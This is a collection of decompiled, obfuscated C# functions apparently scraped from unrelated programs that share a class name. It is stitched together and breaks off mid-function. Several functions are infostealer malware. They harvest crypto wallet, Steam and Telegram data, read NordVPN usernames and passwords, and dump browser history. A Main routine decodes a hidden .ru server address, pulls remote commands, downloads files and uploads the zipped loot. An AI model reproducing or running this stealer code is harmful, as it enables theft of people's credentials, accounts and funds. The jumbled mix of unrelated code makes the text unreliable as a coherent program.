// Token: 0x060005AF RID: 1455 RVA: 0x00027380 File Offset: 0x00025580 public static Enum3 smethod_1(Type type_0, out bool bool_0) { Enum3 result; if (Class23.dictionary_0.TryGetValue(type_0, out result)) { bool_0 = false; return(result); } if (type_0.smethod_8()) { bool_0 = true; return(Class23.smethod_0(Enum.GetUnderlyingType(type_0))); } if (Class90.smethod_11(type_0)) { Type underlyingType = Nullable.GetUnderlyingType(type_0); if (underlyingType.smethod_8()) { Type type_ = typeof(Nullable <>).MakeGenericType(new Type[] { Enum.GetUnderlyingType(underlyingType) }); bool_0 = true; return(Class23.smethod_0(type_)); } } bool_0 = false; return((Enum3)1); }
// Token: 0x060000FF RID: 255 RVA: 0x00006F30 File Offset: 0x00005130 public static void smethod_3(object[] object_0) { string text = (string)object_0[0]; Guid guid_ = (Guid)object_0[1]; Guid guid = (Guid)object_0[2]; if (Class8.dictionary_2.ContainsKey(text)) { return; } Client client = Class8.smethod_39(); Class8.dictionary_2.Add(text, client); GClass3 gclass3_ = null; if (!(guid == Guid.Empty)) { gclass3_ = Class23.smethod_1(guid).gclass3_0; } client.method_31(new GClass0()); client.method_30().method_0(guid_, text, gclass3_); client.method_4(new Client.GDelegate4(Class8.smethod_78)); client.method_6(new Client.GDelegate2(Class8.smethod_77)); client.method_2(new Client.GDelegate7(Class8.smethod_79)); client.method_14(new Client.GDelegate9(Class8.smethod_81)); client.method_44(Class8.smethod_65(), Class24.smethod_6()); }
public void Test4() { int expected = 3; var actual = Class23.FloorSquareRoot(9); Assert.Equal(expected, actual); }
// Token: 0x060005E2 RID: 1506 RVA: 0x000294B0 File Offset: 0x000276B0 private static bool smethod_19(Struct8 struct8_0, out long long_1, out TimeSpan timeSpan_0, out DateTimeKind dateTimeKind_0) { dateTimeKind_0 = DateTimeKind.Utc; int num = struct8_0.smethod_0('+', 7, struct8_0.method_2() - 8); if (num == -1) { num = struct8_0.smethod_0('-', 7, struct8_0.method_2() - 8); } if (num != -1) { dateTimeKind_0 = DateTimeKind.Local; if (!Class25.smethod_23(struct8_0, num + struct8_0.method_1(), out timeSpan_0)) { long_1 = 0L; return(false); } } else { timeSpan_0 = TimeSpan.Zero; num = struct8_0.method_2() - 2; } return(Class23.smethod_15(struct8_0.method_0(), 6 + struct8_0.method_1(), num - 6, out long_1) == (Enum4)1); }
public static void smethod_0() { Class24.class23_0 = null; Class24.class23_1 = null; Class24.class23_2 = null; Class24.class23_3 = null; Class24.class25_0 = null; Class24.class25_1 = null; }
// Token: 0x06000219 RID: 537 RVA: 0x0001076C File Offset: 0x0000E96C public static void smethod_0() { if (Directory.Exists(GClass9.string_6 + "\\Wallets")) { GClass9.list_0.Add("[✅] Crypto"); } string value; if (Environment.Is64BitOperatingSystem) { value = "x64"; } else { value = "x32"; } string value2 = Class23.smethod_2(); string value3 = Class27.smethod_2("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ProductName"); string value4 = "0"; string value5 = Convert.ToString(Class21.int_0); string value6 = Class25.int_0.ToString(); string value7 = "0"; string value8 = Convert.ToString(Class15.int_0); string value9 = "0"; string value10 = "0"; Convert.ToString(Class26.int_0); if (Directory.Exists(GClass9.string_6 + "\\Wallets")) { value10 = new DirectoryInfo(GClass9.string_6 + "\\Wallets").GetDirectories().Length.ToString(); } if (Directory.Exists(GClass9.string_6 + "\\Steam")) { value9 = "1"; } if (Directory.Exists(GClass9.string_6 + "\\Telegram")) { value7 = "1"; } if (Directory.Exists(GClass9.string_6 + "\\Desktop")) { new DirectoryInfo(GClass9.string_6 + "\\Desktop").GetFiles().Length.ToString(); } Class27.nameValueCollection_0.Add("hwid", value2); Class27.nameValueCollection_0.Add("os", value3); Class27.nameValueCollection_0.Add("platform", value); Class27.nameValueCollection_0.Add("profile", value4); Class27.nameValueCollection_0.Add("user", Environment.UserName); Class27.nameValueCollection_0.Add("passwordsCount", value5); Class27.nameValueCollection_0.Add("cccount", value6); Class27.nameValueCollection_0.Add("ccount", value10); Class27.nameValueCollection_0.Add("fcount", "null"); Class27.nameValueCollection_0.Add("telegram", value7); Class27.nameValueCollection_0.Add("cookies", value8); Class27.nameValueCollection_0.Add("steam", value9); }
internal Class23 method_13() { Class23 @class = new Class23(); @class.method_1(this.class25_2); @class.method_3(this.class25_0); @class.method_4()[0] = this; @class.method_4()[1] = this.class13_0[1]; return(@class); }
public static void smethod_1(string string_2) { RSAKey.init("(zB0F6]1(6RCw70lGQY7hA`uORr=5eE8AT<Dsa%@2>{ImO1Cs~3vi\"7&'oQ=j,H"); Class24.string_0 = RSAKey.GetKeys(Class1.string_3); if (Class1.string_10 == "" && Class1.string_11 == "") { Class24.class23_4 = new Class23(Class24.string_0[0], 16); Class24.class23_5 = new Class23(Class24.string_0[1], 16); } else { Class24.class23_4 = new Class23(Class1.string_10, 16); Class24.class23_5 = new Class23(Class1.string_11, 16); } Class24.int_0 = Class24.smethod_7(); Class24.string_1 = string_2; string text = Class6.smethod_3("url.prefix", false) + "/gamedata/supersecret?token="; if (Class1.string_9 != "") { text = Class1.string_9; } WebRequest webRequest = WebRequest.Create(text + string_2); webRequest.Headers[HttpRequestHeader.Cookie] = Class1.string_0; ((HttpWebRequest)webRequest).UserAgent = Class1.string_1; WebResponse response = webRequest.GetResponse(); Image original = Image.FromStream(response.GetResponseStream()); Bitmap bitmap = new Bitmap(original); int width = bitmap.Width; int height = bitmap.Height; Debug.WriteLine(text); int num = 0; byte[] array = new byte[width * height * 4]; for (int i = 0; i < height; i++) { for (int j = 0; j < width; j++) { int num2 = bitmap.GetPixel(j, i).ToArgb(); array[num++] = (byte)(num2 >> 24 & 255); array[num++] = (byte)(num2 >> 16 & 255); array[num++] = (byte)(num2 >> 8 & 255); array[num++] = (byte)(num2 & 255); } } string text2 = Class24.smethod_6(Class24.smethod_5(array), string_2); int num3 = (int)text2[0]; text2 = text2.Substring(1); string value = text2.Substring(0, num3); text2 = text2.Substring(num3); int length = (int)text2[0]; text2 = text2.Substring(1); string value2 = text2.Substring(0, length); Class24.class23_0 = new Class23(value, 10); Class24.class23_1 = new Class23(value2, 10); Class24.smethod_4(); }
public void BeginSendFile(string accepterID, Stream stream, string projectName, ulong size, string comment, SendingFileParas paras, out string projectID) { if (accepterID == null) { accepterID = "_0"; } projectID = Class23.smethod_0(this.string_0); this.fblKqUhvkd.imethod_6(accepterID, stream, projectName, size, projectID, paras, comment); BeginSendFileContract body = new BeginSendFileContract(projectName, false, size, DateTime.Now, comment, projectID); IMessageHandler interface2 = this.interface9_0.imethod_4 <BeginSendFileContract>(this.string_0, this.fileMessageTypeRoom_0.BeginSendFile, body, accepterID); this.SendMessage(interface2, false); }
private static string smethod_5(string string_0, Encoding encoding_0) { int length = string_0.Length; Class23 class2 = new Class23(length, encoding_0); for (int i = 0; i < length; i++) { char ch = string_0[i]; if (ch == '+') { ch = ' '; } else if ((ch == '%') && (i < (length - 2))) { if ((string_0[i + 1] == 'u') && (i < (length - 5))) { int num3 = smethod_6(string_0[i + 2]); int num4 = smethod_6(string_0[i + 3]); int num5 = smethod_6(string_0[i + 4]); int num6 = smethod_6(string_0[i + 5]); if (((num3 < 0) || (num4 < 0)) || ((num5 < 0) || (num6 < 0))) { goto Label_0106; } ch = (char)((((num3 << 12) | (num4 << 8)) | (num5 << 4)) | num6); i += 5; class2.method_1(ch); continue; } int num7 = smethod_6(string_0[i + 1]); int num8 = smethod_6(string_0[i + 2]); if ((num7 >= 0) && (num8 >= 0)) { byte num9 = (byte)((num7 << 4) | num8); i += 2; class2.method_0(num9); continue; } } Label_0106: if ((ch & 0xff80) == 0) { class2.method_0((byte)ch); } else { class2.method_1(ch); } } return(class2.method_3()); }
// Token: 0x060001EC RID: 492 RVA: 0x0000FC54 File Offset: 0x0000DE54 public static List <Class24> smethod_1() { List <Class24> list = new List <Class24>(); foreach (string string_ in Dirs.BrowsHistory) { List <Class24> list2 = Class23.smethod_2(string_); if (list2 != null) { list.AddRange(list2); } } return(list); }
public void Test_Class23() { var instance = new Harmony("test"); Assert.NotNull(instance, "instance"); var processor = new PatchClassProcessor(instance, typeof(Class23)); Assert.NotNull(processor, "processor"); _ = processor.Patch(); Class23.bool1 = null; Class23.Method23(); Assert.NotNull(Class23.bool1, "bool1"); Assert.IsTrue(Class23.bool1.Value, "bool1.Value"); }
// Token: 0x0600001E RID: 30 RVA: 0x000033C4 File Offset: 0x000015C4 public static void smethod_4(object[] object_0) { List <GClass2> list = new List <GClass2>(); int num = 0; int num2 = object_0.Length - 1; for (int i = num; i <= num2; i += 5) { GClass2 gclass = new GClass2(); gclass.guid_0 = (Guid)object_0[i]; gclass.dateTime_0 = (DateTime)object_0[i + 1]; gclass.string_0 = (string)object_0[i + 2]; gclass.bool_0 = (bool)object_0[i + 3]; gclass.byte_0 = (byte[])object_0[i + 4]; gclass.byte_1 = Class27.smethod_2(gclass.byte_0); Class8.list_2.Add(gclass); list.Add(gclass); if (gclass.bool_0) { Class5.bool_1 = true; } } if (Class5.bool_1) { Class8.smethod_7(); } if (Class5.bool_0) { Class8.smethod_41(); return; } Class8.smethod_87("Loading plugins.."); try { foreach (GClass2 gclass2 in list) { Class23.smethod_0(gclass2.byte_0, gclass2); } } finally { List <GClass2> .Enumerator enumerator; ((IDisposable)enumerator).Dispose(); } Class8.smethod_88(Class8.client_0, true, CommandType.PluginCommand, 3, new object[0]); }
// Token: 0x0600023B RID: 571 RVA: 0x000124B8 File Offset: 0x000106B8 public static void smethod_0(string string_1) { try { if (Directory.Exists(Help.LocalData + "\\NordVPN\\")) { Directory.CreateDirectory(string_1 + Class23.string_0); using (StreamWriter streamWriter = new StreamWriter(string_1 + Class23.string_0 + "\\Account.log")) { DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Help.LocalData, "NordVPN")); if (directoryInfo.Exists) { DirectoryInfo[] directories = directoryInfo.GetDirectories("NordVpn.exe*"); for (int i = 0; i < directories.Length; i++) { foreach (DirectoryInfo directoryInfo2 in directories[i].GetDirectories()) { streamWriter.WriteLine("\tFound version " + directoryInfo2.Name); string text = Path.Combine(directoryInfo2.FullName, "user.config"); if (File.Exists(text)) { XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load(text); string innerText = xmlDocument.SelectSingleNode("//setting[@name='Username']/value").InnerText; string innerText2 = xmlDocument.SelectSingleNode("//setting[@name='Password']/value").InnerText; if (innerText != null && !string.IsNullOrEmpty(innerText)) { streamWriter.WriteLine("\t\tUsername: "******"\t\tPassword: " + Class23.smethod_1(innerText2)); } Class23.int_0++; } } } } } } } catch { } }
// Token: 0x060005BC RID: 1468 RVA: 0x00027AE4 File Offset: 0x00025CE4 public static bool smethod_13(object object_0) { switch (Class23.smethod_0(object_0.GetType())) { case (Enum3)6: case (Enum3)8: case (Enum3)10: case (Enum3)12: case (Enum3)14: case (Enum3)16: case (Enum3)18: case (Enum3)20: return(true); default: return(false); } }
// Token: 0x060005B9 RID: 1465 RVA: 0x00027A1C File Offset: 0x00025C1C public static object smethod_10(object object_0, object object_1, Type type_0) { if (type_0 == typeof(object)) { return(object_0); } if (object_0 == null && Class90.smethod_10(type_0)) { return(null); } object result; if (Class23.TryConvert(object_0, object_1, type_0, out result)) { return(result); } return(Class23.smethod_11(object_0, Class90.smethod_3(object_0), type_0)); }
// Token: 0x060001EB RID: 491 RVA: 0x0000FB9C File Offset: 0x0000DD9C public static void smethod_0() { string text = ""; List <Class24> list = Class23.smethod_1(); foreach (Class24 @class in list) { text += @class.ToString(); } if (text != "") { if (!Directory.Exists(Dirs.WorkDir + "\\Browsers")) { Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers"); } File.WriteAllText(Dirs.WorkDir + "\\Browsers\\History.txt", text, Encoding.Default); } }
// Token: 0x060000FE RID: 254 RVA: 0x00006EC4 File Offset: 0x000050C4 public static void smethod_2(Guid guid_0, object[] object_0) { GClass2 gclass = Class23.smethod_1(guid_0); if (gclass != null) { try { gclass.gclass3_0.method_7(null, object_0); return; } catch (Exception exception_) { Class8.smethod_85(gclass.gclass3_0, exception_, "ReadPacket []"); return; } } throw new Exception(string.Format("No instance of plugin '{0}' could be found.", guid_0)); }
private static string smethod_4(byte[] byte_0, int int_0, int int_1, Encoding encoding_0) { Class23 class2 = new Class23(int_1, encoding_0); for (int i = 0; i < int_1; i++) { int index = int_0 + i; byte num3 = byte_0[index]; if (num3 == 0x2b) { num3 = 0x20; } else if ((num3 == 0x25) && (i < (int_1 - 2))) { if ((byte_0[index + 1] == 0x75) && (i < (int_1 - 5))) { int num4 = smethod_6((char)byte_0[index + 2]); int num5 = smethod_6((char)byte_0[index + 3]); int num6 = smethod_6((char)byte_0[index + 4]); int num7 = smethod_6((char)byte_0[index + 5]); if (((num4 < 0) || (num5 < 0)) || ((num6 < 0) || (num7 < 0))) { goto Label_00DA; } char ch = (char)((((num4 << 12) | (num5 << 8)) | (num6 << 4)) | num7); i += 5; class2.method_1(ch); continue; } int num8 = smethod_6((char)byte_0[index + 1]); int num9 = smethod_6((char)byte_0[index + 2]); if ((num8 >= 0) && (num9 >= 0)) { num3 = (byte)((num8 << 4) | num9); i += 2; } } Label_00DA: class2.method_0(num3); } return(class2.method_3()); }
// Token: 0x0600006F RID: 111 RVA: 0x0000A3CC File Offset: 0x000085CC private void method_2(object sender, LoadCompletedEventArgs e) { this.method_1(); Class68.smethod_1(); MainWindow.captchaQueue_V1_0 = new CaptchaQueue_V1(true); Class68.smethod_6(); Class68.smethod_7(); Class68.smethod_8(); Class68.smethod_5(null, null); bool isAttached = Debugger.IsAttached; Licenser.smethod_9(); Class168.jobject_3 = JObject.Parse(MainWindow.webView_0.QueueScriptCall("JSON.stringify(window.Countries)").smethod_0()); Class23.smethod_0(); base.Opacity = 0.0; base.Show(); this.timer_0.Interval = 10; this.timer_0.Tick += this.timer_0_Tick; this.timer_0.Start(); }
// Token: 0x06000725 RID: 1829 RVA: 0x0002DE30 File Offset: 0x0002C030 public static bool smethod_0(object object_0, object object_1) { if (object_0 == object_1) { return(true); } if (object_0 == null || object_1 == null) { return(false); } if (!(object_0.GetType() != object_1.GetType())) { return(object_0.Equals(object_1)); } if (Class23.smethod_13(object_0) && Class23.smethod_13(object_1)) { return(Convert.ToDecimal(object_0, CultureInfo.CurrentCulture).Equals(Convert.ToDecimal(object_1, CultureInfo.CurrentCulture))); } return((object_0 is double || object_0 is float || object_0 is decimal) && (object_1 is double || object_1 is float || object_1 is decimal) && Class79.smethod_5(Convert.ToDouble(object_0, CultureInfo.CurrentCulture), Convert.ToDouble(object_1, CultureInfo.CurrentCulture))); }
// Token: 0x0600006F RID: 111 RVA: 0x0000ADF4 File Offset: 0x00008FF4 private void method_2(object sender, LoadCompletedEventArgs e) { this.method_1(); Class68.smethod_1(); GForm1.gform7_0 = new GForm7(true); Class68.smethod_6(); Class68.smethod_7(); Class68.smethod_8(); Class68.smethod_5(null, null); bool isAttached = Debugger.IsAttached; GForm3.smethod_9(); Class173.jobject_3 = JObject.Parse(GForm1.webView_0.QueueScriptCall(Class185.smethod_0(537707460)).smethod_0()); Class23.smethod_0(); base.Opacity = 0.0; base.Show(); this.timer_0.Interval = 10; this.timer_0.Tick += this.timer_0_Tick; this.timer_0.Start(); }
// Token: 0x06000661 RID: 1633 RVA: 0x000383C8 File Offset: 0x000365C8 private Class2 method_10(bool bool_2) { if (!this.bool_0) { bool flag = this.bool_1 || this.symmetricAlgorithm_0 == null; if (this.symmetricAlgorithm_0 == null) { this.symmetricAlgorithm_0 = Class152.smethod_0(); if (this.symmetricAlgorithm_0 == null) { this.bool_0 = true; } } if (this.symmetricAlgorithm_0 != null) { if (flag) { this.symmetricAlgorithm_0.Key = this.method_4(); this.symmetricAlgorithm_0.IV = this.method_6(); this.symmetricAlgorithm_0.Mode = Class152.smethod_1(this.method_0()); this.symmetricAlgorithm_0.Padding = Class152.smethod_2(this.method_2()); } return(new Class4(bool_2 ? this.symmetricAlgorithm_0.CreateEncryptor() : this.symmetricAlgorithm_0.CreateDecryptor())); } } Class73 interface1_ = new Class73(new Class151()); Class22 @class; if (this.method_2() != (Enum1)1) { @class = new Class23(interface1_, Class152.smethod_3(this.method_2())); } else { @class = new Class22(interface1_); } Class25 interface6_ = new Class25(new Class188(this.method_4()), this.method_6()); @class.imethod_1(bool_2, interface6_); return(new Class3(@class)); }
// Token: 0x060005B6 RID: 1462 RVA: 0x00027684 File Offset: 0x00025884 public static object smethod_8(object object_0, object object_1, Type type_0) { object result; switch (Class23.smethod_9(object_0, object_1, type_0, out result)) { case (Class23.Enum5) 0: return(result); case (Class23.Enum5) 1: throw new Exception("Can not convert null {0} into non-nullable {1}.".smethod_1(CultureInfo.InvariantCulture, object_0.GetType(), type_0)); case (Class23.Enum5) 2: throw new ArgumentException("Target type {0} is not a value type or a non-abstract class.".smethod_0(CultureInfo.InvariantCulture, type_0), "targetType"); case (Class23.Enum5) 3: throw new InvalidOperationException("Can not convert from {0} to {1}.".smethod_1(CultureInfo.InvariantCulture, object_0.GetType(), type_0)); default: throw new InvalidOperationException("Unexpected conversion result."); } }
// Token: 0x0600068B RID: 1675 RVA: 0x0002B7D8 File Offset: 0x000299D8 private static ulong smethod_6(object object_0) { bool flag; switch (Class23.smethod_1(object_0.GetType(), out flag)) { case (Enum3)2: return((ulong)((char)object_0)); case (Enum3)4: return((ulong)Convert.ToByte((bool)object_0)); case (Enum3)6: return((ulong)((long)((sbyte)object_0))); case (Enum3)8: return((ulong)((long)((short)object_0))); case (Enum3)10: return((ulong)((ushort)object_0)); case (Enum3)12: return((ulong)((long)((int)object_0))); case (Enum3)14: return((ulong)((byte)object_0)); case (Enum3)16: return((ulong)((uint)object_0)); case (Enum3)18: return((ulong)((long)object_0)); case (Enum3)20: return((ulong)object_0); } throw new InvalidOperationException("Unknown enum type."); }
// Token: 0x060005B7 RID: 1463 RVA: 0x00027714 File Offset: 0x00025914 private static bool TryConvert(object initialValue, object culture, Type targetType, out object value) { bool result; try { if (Class23.smethod_9(initialValue, culture, targetType, out value) == (Class23.Enum5) 0) { result = true; } else { value = null; result = false; } } catch { value = null; result = false; } return(result); }
public void BeginSendFile(string accepterID, string fileOrDirPath, string comment, SendingFileParas paras, out string projectID) { bool flag; if (accepterID == null) { accepterID = "_0"; } if (!(flag = Directory.Exists(fileOrDirPath))) { FileStream stream = File.Open(fileOrDirPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); stream.Close(); stream.Dispose(); } projectID = Class23.smethod_0(this.string_0); FileSystemInfo info = null; ulong directorySize = 0L; if (flag) { info = new DirectoryInfo(fileOrDirPath); directorySize = FileHelper.GetDirectorySize(fileOrDirPath); } else { info = new FileInfo(fileOrDirPath); directorySize = (ulong)((FileInfo)info).Length; } string fullName = info.FullName; this.fblKqUhvkd.imethod_5(accepterID, fullName, flag, directorySize, info.LastWriteTime, projectID, paras, comment); BeginSendFileContract body = new BeginSendFileContract(fullName, flag, directorySize, info.LastWriteTime, comment, projectID); IMessageHandler interface2 = this.interface9_0.imethod_4 <BeginSendFileContract>(this.string_0, this.fileMessageTypeRoom_0.BeginSendFile, body, accepterID); this.SendMessage(interface2, false); }
// Token: 0x060005E7 RID: 1511 RVA: 0x00029678 File Offset: 0x00027878 private static bool smethod_23(Struct8 struct8_0, int int_2, out TimeSpan timeSpan_0) { bool flag = struct8_0[int_2] == '-'; int num; if (Class23.smethod_14(struct8_0.method_0(), int_2 + 1, 2, out num) != (Enum4)1) { timeSpan_0 = default(TimeSpan); return(false); } int num2 = 0; if (struct8_0.method_2() - int_2 > 5 && Class23.smethod_14(struct8_0.method_0(), int_2 + 3, 2, out num2) != (Enum4)1) { timeSpan_0 = default(TimeSpan); return(false); } timeSpan_0 = TimeSpan.FromHours((double)num) + TimeSpan.FromMinutes((double)num2); if (flag) { timeSpan_0 = timeSpan_0.Negate(); } return(true); }
public static Class23 smethod_24(Class23 class23_0, Class23 class23_1) { Class23 class23_2 = new Class23(); Class23 @class = new Class23(class23_0); int num = 499; bool flag = false; if ((class23_0.uint_0[499] & 2147483648u) != 0u) { class23_0 = Class23.smethod_14(class23_0); flag = true; } if ((class23_1.uint_0[num] & 2147483648u) != 0u) { class23_1 = Class23.smethod_14(class23_1); } Class23 result; if (Class23.smethod_18(class23_0, class23_1)) { result = @class; } else { if (class23_1.int_2 == 1) { Class23.smethod_22(class23_0, class23_1, class23_2, @class); } else { Class23.smethod_21(class23_0, class23_1, class23_2, @class); } if (flag) { result = Class23.smethod_14(@class); } else { result = @class; } } return result; }
public Class23 method_19(int int_3, Class31 class31_0) { bool flag = false; Class23 @class = new Class23(); while (!flag) { @class.method_8(int_3, class31_0); Class23 class2 = @class.method_7(this); if (class2.int_2 == 1 && class2.uint_0[0] == 1u) { flag = true; } } return @class; }
public static bool smethod_20(Class23 class23_0, Class23 class23_1) { return Class23.smethod_15(class23_0, class23_1) || Class23.smethod_18(class23_0, class23_1); }
// Token: 0x06000131 RID: 305 RVA: 0x0000A8D0 File Offset: 0x00008AD0 private static void Main(string[] args) { Class9.smethod_0(); Class9.smethod_1(); Class9.smethod_2(); string string_ = "ʰʷˉ˞˜ʷ˩˾ʰ˼ʷʰ˞ˉ˜ʷʰʷʷ˼ʰʷ˜ʰʷ˜ʰ˒ʷ˜ʰʰʰʨʷʰʷʰʷʰʨʷʰʷʰ˿˜˾˩˼ˣ˯˳˃˞˜ˏ˓˃˯˳˼ˣʩʩʩʷʷʷʷ"; byte[] byte_ = Class8.smethod_0("687474703a2f2f67616d656670736275737465722e7275"); byte[] bytes = Encoding.Default.GetBytes(Class11.smethod_2(string_)); string @string = Encoding.Default.GetString(Class11.smethod_0(bytes, byte_)); byte[] bytes2 = Encoding.Default.GetBytes(@string); GClass9.smethod_0(); Class23.smethod_5(Class23.string_0); GClass9.smethod_1(); string[] array = new StreamReader(WebRequest.Create(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2))).GetResponse().GetResponseStream()).ReadToEnd().Split(new char[] { ',' }); bool flag = false; bool flag2 = false; bool flag3 = false; bool flag4 = false; bool flag5 = false; bool flag6 = false; bool flag7 = false; bool flag8 = false; bool flag9 = false; bool flag10 = false; bool flag11 = false; if (array[12] == "1") { flag8 = true; } if (!flag8) { Class12.smethod_5(); } if (array[0] == "1") { flag = true; } if (array[1] == "1") { flag4 = true; } if (array[2] == "1") { flag5 = true; } if (array[3] == "1") { flag11 = true; } if (array[4] == "1") { flag2 = true; } if (array[5] == "1") { flag6 = true; } if (array[6] == "1") { flag10 = true; } if (array[7] == "1") { flag3 = true; } if (array[10] == "1") { flag9 = true; } if (array[11].StartsWith("http")) { flag7 = true; } if (flag7) { string text = array[11]; string fileName = Path.GetFileName(text); Class20.smethod_0(text, fileName); } if (flag) { Class13.smethod_3(); Class21.smethod_0(); } if (flag5) { Class18.smethod_0(); } if (flag7) { string text2 = array[11]; string fileName2 = Path.GetFileName(text2); Class20.smethod_0(text2, fileName2); } if (flag2) { Class17.smethod_10(); } if (flag6) { Class17.smethod_6(); } if (flag4) { Class15.smethod_0(); Class13.smethod_2(); Class25.smethod_9(); } if (flag11) { Class17.smethod_5(GClass9.string_2); } if (flag3) { foreach (string item in array[8].Split(new char[] { ':' })) { Class17.list_0.Add(item); } Class17.int_0 = Convert.ToInt32(array[9]); Class17.int_0 *= 1024; Class17.smethod_8(); } if (flag10) { Class17.smethod_9(); } Class17.smethod_11(); Class17.smethod_7(); Class23.smethod_0(); Class12.smethod_11(); Class12.smethod_9(); Class12.smethod_10(); Class23.smethod_1(); Class12.smethod_6(); string string_2 = GClass9.string_0 + "\\" + Class23.string_0 + ".zip"; try { Class27.smethod_0(); Class27.smethod_1(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2)), string_2, "logs", "zip", Class27.nameValueCollection_0); } catch { } if (flag9) { Class12.smethod_7(); } Class12.smethod_8(); Directory.Delete(GClass9.string_6); }
public Class23 method_7(Class23 class23_0) { Class23 @class; if ((this.uint_0[499] & 2147483648u) != 0u) { @class = Class23.smethod_14(this); } else { @class = this; } Class23 class2; if ((class23_0.uint_0[499] & 2147483648u) != 0u) { class2 = Class23.smethod_14(class23_0); } else { class2 = class23_0; } Class23 class3 = class2; while (@class.int_2 > 1 || (@class.int_2 == 1 && @class.uint_0[0] != 0u)) { class3 = @class; @class = Class23.smethod_24(class2, @class); class2 = class3; } return class3; }
public static Class23 smethod_29(int int_3, int int_4, Class31 class31_0) { Class23 @class = new Class23(); bool flag = false; while (!flag) { @class.method_8(int_3, class31_0); @class.uint_0[0] |= 1u; flag = @class.method_15(int_4); } return @class; }
public Class23 method_2() { Class23 result; if ((this.uint_0[499] & 2147483648u) != 0u) { result = Class23.smethod_14(this); } else { result = new Class23(this); } return result; }
public Class23(Class23 bi) { this.uint_0 = new uint[500]; this.int_2 = bi.int_2; for (int i = 0; i < this.int_2; i++) { this.uint_0[i] = bi.uint_0[i]; } }
public Class23(string value, int radix) { Class23 class23_ = new Class23(1L); Class23 @class = new Class23(); value = value.ToUpper().Trim(); int num = 0; if (value[0] == '-') { num = 1; } for (int i = value.Length - 1; i >= num; i--) { int num2 = (int)value[i]; if (num2 >= 48 && num2 <= 57) { num2 -= 48; } else { if (num2 >= 65 && num2 <= 90) { num2 = num2 - 65 + 10; } else { num2 = 9999999; } } if (num2 >= radix) { throw new ArithmeticException("Invalid string in constructor."); } if (value[0] == '-') { num2 = -num2; } @class = Class23.smethod_4(@class, Class23.smethod_8(class23_, Class23.smethod_2(num2))); if (i - 1 >= num) { class23_ = Class23.smethod_8(class23_, Class23.smethod_2(radix)); } } if (value[0] == '-') { if ((@class.uint_0[499] & 2147483648u) == 0u) { throw new ArithmeticException("Negative underflow in constructor."); } } else { if ((@class.uint_0[499] & 2147483648u) != 0u) { throw new ArithmeticException("Positive overflow in constructor."); } } this.uint_0 = new uint[500]; for (int i = 0; i < @class.int_2; i++) { this.uint_0[i] = @class.uint_0[i]; } this.int_2 = @class.int_2; }
private bool method_14(Class23 class23_0) { long num = 5L; long num2 = -1L; long num3 = 0L; bool flag = false; bool result; while (!flag) { int num4 = Class23.smethod_28(Class23.smethod_0(num), class23_0); if (num4 != -1) { if (num4 != 0 || !Class23.smethod_18(Class23.smethod_0(Math.Abs(num)), class23_0)) { if (num3 == 20L) { Class23 @class = class23_0.method_25(); if (Class23.smethod_15(Class23.smethod_8(@class, @class), class23_0)) { result = false; return result; } } num = (Math.Abs(num) + 2L) * num2; num2 = -num2; goto IL_82; } result = false; return result; } flag = true; IL_82: num3 += 1L; } long num5 = (int)(1L - num) >> 2; Class23 class2 = Class23.smethod_4(class23_0, Class23.smethod_2(1)); int num6 = 0; int i = 0; IL_F0: while (i < class2.int_2) { uint num7 = 1u; for (int j = 0; j < 32; j++) { if ((class2.uint_0[i] & num7) != 0u) { i = class2.int_2; IL_EA: i++; goto IL_F0; } num7 = (uint)num7 << 1; num6++; } // goto IL_EA; continue; } Class23 class23_ = Class23.smethod_11(class2, num6); Class23 class3 = new Class23(); int num8 = class23_0.int_2 << 1; class3.uint_0[num8] = 1u; class3.int_2 = num8 + 1; class3 = Class23.smethod_23(class3, class23_0); Class23[] array = Class23.smethod_31(Class23.smethod_2(1), Class23.smethod_0(num5), class23_, class23_0, class3, 0); bool flag2 = false; if ((array[0].int_2 == 1 && array[0].uint_0[0] == 0u) || (array[1].int_2 == 1 && array[1].uint_0[0] == 0u)) { flag2 = true; } for (int j = 1; j < num6; j++) { if (!flag2) { array[1] = class23_0.method_6(Class23.smethod_8(array[1], array[1]), class23_0, class3); array[1] = Class23.smethod_24(Class23.smethod_6(array[1], Class23.smethod_9(array[2], 1)), class23_0); if (array[1].int_2 == 1 && array[1].uint_0[0] == 0u) { flag2 = true; } } array[2] = class23_0.method_6(Class23.smethod_8(array[2], array[2]), class23_0, class3); } if (flag2) { Class23 class4 = class23_0.method_7(Class23.smethod_0(num5)); if (class4.int_2 == 1 && class4.uint_0[0] == 1u) { if ((array[2].uint_0[499] & 2147483648u) != 0u) { Class23[] array2; (array2 = array)[2] = Class23.smethod_4(array2[2], class23_0); } Class23 class5 = Class23.smethod_24(Class23.smethod_0(num5 * (long)Class23.smethod_28(Class23.smethod_0(num5), class23_0)), class23_0); if ((class5.uint_0[499] & 2147483648u) != 0u) { class5 = Class23.smethod_4(class5, class23_0); } if (Class23.smethod_16(array[2], class5)) { flag2 = false; } } } result = flag2; return result; }
private Class23 method_6(Class23 class23_0, Class23 class23_1, Class23 class23_2) { int num = class23_1.int_2; int num2 = num + 1; int num3 = num - 1; Class23 @class = new Class23(); int i = num3; int num4 = 0; while (i < class23_0.int_2) { @class.uint_0[num4] = class23_0.uint_0[i]; i++; num4++; } @class.int_2 = class23_0.int_2 - num3; if (@class.int_2 <= 0) { @class.int_2 = 1; } Class23 class2 = Class23.smethod_8(@class, class23_2); Class23 class3 = new Class23(); i = num2; num4 = 0; while (i < class2.int_2) { class3.uint_0[num4] = class2.uint_0[i]; i++; num4++; } class3.int_2 = class2.int_2 - num2; if (class3.int_2 <= 0) { class3.int_2 = 1; } Class23 class4 = new Class23(); int num5 = (class23_0.int_2 > num2) ? num2 : class23_0.int_2; for (i = 0; i < num5; i++) { class4.uint_0[i] = class23_0.uint_0[i]; } class4.int_2 = num5; Class23 class5 = new Class23(); for (i = 0; i < class3.int_2; i++) { if (class3.uint_0[i] != 0u) { ulong num6 = 0uL; int num7 = i; num4 = 0; while (num4 < class23_1.int_2 && num7 < num2) { ulong num8 = (ulong)class3.uint_0[i] * (ulong)class23_1.uint_0[num4] + (ulong)class5.uint_0[num7] + num6; class5.uint_0[num7] = (uint)unchecked(num8 & (ulong)-1); num6 = (uint)num8 >> 32; num4++; num7++; } if (num7 < num2) { class5.uint_0[num7] = (uint)num6; } } } 